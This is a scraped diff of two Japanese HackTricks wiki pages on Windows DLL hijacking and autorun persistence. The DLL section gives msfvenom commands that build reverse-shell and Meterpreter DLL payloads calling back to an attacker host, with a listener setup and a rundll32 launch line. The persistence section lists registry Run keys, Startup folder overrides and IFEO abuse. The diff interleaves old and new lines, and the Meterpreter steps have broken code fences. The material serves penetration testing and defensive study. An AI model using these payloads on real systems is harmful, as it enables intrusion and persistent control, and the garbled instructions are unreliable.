* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味がある場合は、**採用中です**_流暢なポーランド語の読み書きが必要です_
@ -20,9 +20,9 @@
## 定義
まず、定義を確認しましょう。DLLハイジャッキングは、広義には**正規/信頼されたアプリケーションを誤って/のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
まず、定義を確認しましょう。DLLハイジャッキングは、広義には**正規/信頼されたアプリケーションを誤って/トリックして任意のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用することができます。この3つのうち、**特権のエスカレーション**は非常に少ない可能性です。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用することができます。その3つのうち、**特権のエスカレーション**は非常に見つけにくいです。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
### タイプ
@ -30,7 +30,7 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
1. **DLLの置き換え**: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、_DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)]と組み合わせることができます。
2. **DLL検索順序のハイジャック**: パスのないアプリケーションによって指定されたDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。
3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
4. **DLLリダイレクト**: DLLの検索場所を変更します。たとえば、`%PATH%`環境変数を編集するか、`.exe.manifest` / `.exe.local`ファイルを編集して、悪意のあるDLLを含むフォルダを追加します \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
5. **WinSxS DLLの置き換え**: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピーオプションで名前を変更し、悪意のあるDLLと一緒に配置します。使用方法によっては、署名されたバイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、ややオキシモロン的に呼ばれる「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]で、正規のアプリケーションが悪意のあるDLLと一緒に提供されます被害者のマシンの正規の場所からコピーされるのではなく
@ -77,7 +77,7 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
#### Windowsドキュメントからのdll検索順序の例外
* **同じモジュール名のDLLがすでにメモリにロードされている**場合、システムはロードされたDLLにリダイレクトとマニフェストをチェックし、DLLを検索しません。
* DLLが実行中のアプリケーションのWindowsバージョンの**既知のDLLリスト**にある場合、**システムは既知のDLLのコピー**および既知のDLLの依存DLL、ある場合を使用し、DLLの検索を行いません。現在のシステムの既知のDLLのリストについては、次のレジストリキーを参照してください**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
* DLLが実行中のアプリケーションのWindowsバージョンの**既知のDLLリスト**にある場合、**システムは既知のDLLのコピー**および既知のDLLの依存するDLL、ある場合を検索する代わりに使用します。現在のシステムの既知のDLLのリストについては、次のレジストリキーを参照してください**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
* DLLに依存関係がある場合、システムは最初のDLLがフルパスを指定してロードされた場合でも、依存するDLLを**モジュール名だけでロードされたものとして検索**します。
### 特権のエスカレーション
@ -85,9 +85,9 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
**前提条件**
* 特権のあるプロセスを見つける(水平/横方向の移動)ことができる**別の特権で実行されるプロセス**を見つける。
* dllが**存在しない**フォルダ(おそらく実行可能ファイルのディレクトリまたはシステムパス内のフォルダ)に書き込むための**書き込み権限**を持つ
* dllが**存在しない**フォルダ(おそらく実行可能ファイルのディレクトリまたはシステムパス内のフォルダ)には、**dllが検索される****任意のフォルダ**に**書き込み権限**がある
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllがない**というのは奇妙ですし、**システムパスのフォルダに書き込み権限を持つ**ことはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllが存在しない**というのは少し奇妙であり、**システムパスのフォルダに書き込み権限を持つ**のはさらに奇妙です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。もし要件を満たす幸運がある場合は、[UACME](https://github.com/hfiref0x/UACME)プロジェクトをチェックしてみてください。このプロジェクトの**主な目標はUACのバイパス**ですが、おそらく書き込み権限を持つフォルダのパスを変更するだけで使用できるWindowsバージョンのDllハイジャックのPoCを見つけることができます。
なお、フォルダの権限を確認するには、次のコマンドを実行します:
```bash
@ -124,46 +124,50 @@ dumpbin /export /path/file.dll
### 例
攻撃可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの一つは、**実行可能ファイルがインポートするすべての関数を少なくともエクスポートするdllを作成する**ことです。ただし、Dllハイジャッキングは、[中間完全性レベルから高いレベルにエスカレートするためにUACをバイパスするために](../authentication-credentials-uac-and-efs.md#uac)または[高い完全性からSYSTEMにエスカレートするために](./#from-high-integrity-to-system)**便利です。** Windowsでdllハイジャッキングを実行するためのこのdllハイジャッキングの研究には、有効なdllを作成する方法の例があります[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
さらに、**次のセクション**では、**テンプレートとして役立つ基本的なdllコード**または**必要ない関数がエクスポートされたdllを作成する**ために役立ついくつかのコードを見つけることができます。
さらに、**次のセクション**では、**テンプレート**として役立つ可能性のあるいくつかの**基本的なdllコード**を見つけることができます。
## **Dllの作成とコンパイル**
### **Dllプロキシ化**
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継して**、**期待どおりに公開**および**動作**することができます。
基本的に、**Dllプロキシ**は、**ロードされたときに悪意のあるコードを実行**することができるDllであり、また、**実際のライブラリにすべての呼び出しを中継**することで、**期待どおりに公開**および**動作**することができます。
ツール\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*または\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*を使用すると、実際のライブラリを指定して実行可能ファイルを選択し、プロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。
### **Meterpreter**
**rev shellを取得x64**
**Revシェルを取得x64**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**メータープリターの取得x86**
```plaintext
1. Metasploitフレームワークを使用して、ターゲットマシンにメータープリターをデプロイします。
1. ペイロードを作成するために、msfvenomを使用します。
2. Metasploitコンソールを開き、以下のコマンドを実行します。
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f dll > payload.dll
```
```shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <attacker port>
exploit
```
2. ターゲットマシンにペイロードを配置します。これは、DLLハイジャック攻撃の一部として使用されます。
`<attacker IP>`と`<attacker port>`を攻撃者のIPアドレスとポートに置き換えてください
3. ターゲットマシンで、メータープリターセッションを開始するために、メータプリターローダーを使用します。
3. ターゲットマシンで、メータープリターを実行するために誘導する方法を選択します。以下の手法のいずれかを使用できます。
```bash
rundll32.exe payload.dll,EntryPoint
```
- ファイルの実行:攻撃者が作成した悪意のあるファイルをターゲットマシンで実行させます。
- ソーシャルエンジニアリング:攻撃者がターゲットユーザーを騙して、悪意のあるファイルを実行させます。
- セキュリティホールの利用:既知のセキュリティホールを悪用して、メータープリターを実行します。
4. 攻撃者マシンで、メータープリターセッションを受け取るために、マルチハンドラを使用します。
4. メータープリターがターゲットマシンに接続されると、攻撃者はターゲットマシンをリモートで制御できるようになります。
```bash
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <attacker port>
run
```
5. ターゲットマシンで、メータープリターセッションが開始されます。これにより、攻撃者はターゲットマシンを制御できるようになります。
```
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
@ -255,9 +259,9 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要です_
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -12,22 +12,22 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、不可能を可能にすることに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
## WMIC
**Wmic**は、**起動時**にプログラムを実行するために使用することができます。次のコマンドで、起動時に実行されるバイナリを確認します。
**Wmic**は、**起動時**にプログラムを実行するために使用できます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます。
```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```
## スケジュールされたタスク
**タスク**は、**特定の頻度**で実行されるようにスケジュールできます。次のコマンドでスケジュールされたバイナリを確認します。
**タスク**は、**特定の頻度**で実行されるようにスケジュールすることができます。次のコマンドでスケジュールされたバイナリを確認します。
```bash
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
@ -160,10 +160,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
サブキーのStartupが指す場所に作成されたショートカットは、ログオン/再起動時にサービスを起動します。スタートアップの場所は、ローカルマシンと現在のユーザーの両方で指定されます。
サブキーのスタートアップが指す場所に作成されたショートカットは、ログオン/再起動時にサービスを起動します。スタートアップの場所は、ローカルマシンと現在のユーザーの両方で指定されます。
{% hint style="info" %}
もし\[User] Shell Folderのいずれかを**HKLM**で上書きできれば、それを自分が制御するフォルダに指定し、バックドアを配置することができます。これにより、ユーザーがシステムにログインするたびに特権が昇格されるバックドアが実行されます。
\[User] Shell Folderのいずれかを**HKLM**で上書きできれば、それを自分が制御するフォルダに指定し、バックドアを配置して特権を昇格させることができます。ユーザーがシステムにログインするたびに実行されます。
{% endhint %}
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -228,7 +228,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
{% endhint %}
{% hint style="info" %}
**Exploit 3 (PATHの書き込み権限とboot.iniの書き込み権限)**: boot.iniを書き込むことができれば、次回の再起動時に自動的にセーフモードで起動できます。
**Exploit 3 (PATHの書き込み権限とboot.iniの書き込み権限)**: boot.iniを書き込むことができれば、次回の再起動時にセーフモードでの自動起動を行うことができます。
{% endhint %}
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
@ -311,18 +311,18 @@ IFEOを悪用すると、特権昇格攻撃を実行することができます
IFEOを使用した特権昇格攻撃は、次の手順で実行されます。
1. 攻撃者は、IFEOに登録されているプロセスを特定します。
2. 攻撃者は、IFEOに登録されているプロセスの実行ファイルを悪意のあるプログラムに置き換えます。
3. システムがIFEOに登録されたプロセスを実行すると、攻撃者の悪意のあるプログラムが実行されます。
4. 攻撃者の悪意のあるプログラムは、特権レベルのアクセス権を持つため、攻撃者はシステムに対する完全な制御を取得することができます。
2. 攻撃者は、IFEOに登録されているプロセスの実行ファイルを悪意のあるバイナリに置き換えます。
3. システムがIFEOに登録されたプロセスを実行すると、攻撃者の悪意のあるバイナリが実行されます。
4. 攻撃者の悪意のあるバイナリは、特権レベルで実行されるため、攻撃者はシステムに対する完全な制御を取得することができます。
IFEOを悪用した攻撃を防ぐためには、次の対策を実施することが重要です。
- IFEOに登録されているプロセスを監視し、不正な変更がないか定期的に確認します。
- IFEOに登録されているプロセスの実行ファイルのパスを制限します。
- IFEOに登録されているプロセスの実行権限を制限します。
- セキュリティソフトウェアを使用して、IFEOの変更を監視し、悪意のある変更を検出します
- IFEOに登録されているプロセスを監視し、不正な変更がないか定期的に確認す
- IFEOに登録されているプロセスの実行ファイルのパスを制限す
- IFEOに登録されているプロセスの実行権限を制限す
- セキュリティソフトウェアを使用して、IFEOの変更を検知する
IFEOを悪用した特権昇格攻撃は、システムのセキュリティを脅かす重大な脆弱性です。適切な対策を実施することで、この攻撃からシステムを保護することができます。
これらの対策を実施することで、IFEOを悪用した特権昇格攻撃からシステムを保護することができます。
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
@ -335,7 +335,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
```
## もっと
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)でレジストリのようなAutorunsをさらに見つけることができます。
[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)でレジストリのようなAutorunsを見つけることができます。
## 参考文献
@ -343,7 +343,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もし興味があるなら、**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
@ -356,7 +356,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>